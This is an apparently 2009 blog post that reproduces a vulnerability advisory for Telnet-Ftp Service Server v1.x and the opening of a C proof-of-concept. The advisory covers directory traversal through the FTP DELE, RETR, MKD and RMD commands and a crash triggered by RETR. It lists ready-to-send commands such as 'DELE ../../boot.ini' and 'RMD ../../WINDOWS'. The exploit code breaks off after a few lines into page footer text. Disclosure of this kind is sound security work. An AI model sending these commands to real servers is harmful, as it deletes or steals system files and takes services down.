Sunday, October 25, 2009

Telnet-Ftp Service Server v1.x

Multiple Vulnerability:
-Remote Creat File
-Remote Delet File
-Remote Creat Directory
-Remote Delet Directory
-Remote Get File
-Remote Crash

--------------------------------------------------------------------------------------------------------
Arbitrary:
----------
A vulnerability is caused due to an input validation error when handling FTP "DELE","RETR","MKD","RMD"
requests. This can be exploited to escape the FTP root and delete arbitrary files, get arbitrary files,
creat arbitrary directory, or delete arbitrary directory on the system via directory traversal
attacks using the "../" character sequence.

Remote Crash:
-------------
The vulnerability is caused due to an error in handling the RETR command. This can be exploited to crash
the FTP service by sending the "RETR" command without sending the "PORT" command.
--------------------------------------------------------------------------------------------------------

You can delet file boot.ini => DELE ../../boot.ini
You can get file boot.ini => RETR ../../boot.ini
You can creat Directory => MKD ../../poc
You can delet Directory => RMD ../../WINDOWS
You can crash service => (RETR 0)x2

Author: Jonathan Salwan
Mail : submit [AT] shell-storm.org
Web : http://www.shell-storm.org
*/

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"

int syntax(char *file)
{
fprintf(stderr,"\nTelnet-Ftp Service Server v1.x Multiple Vulnerability\n");
fprintf(stderr,"-----------------------------------------------------\n");
fprintf(stderr,"=>Syntax : <%s>

+++

Share |

"make something then You never be lost"

wibiya widget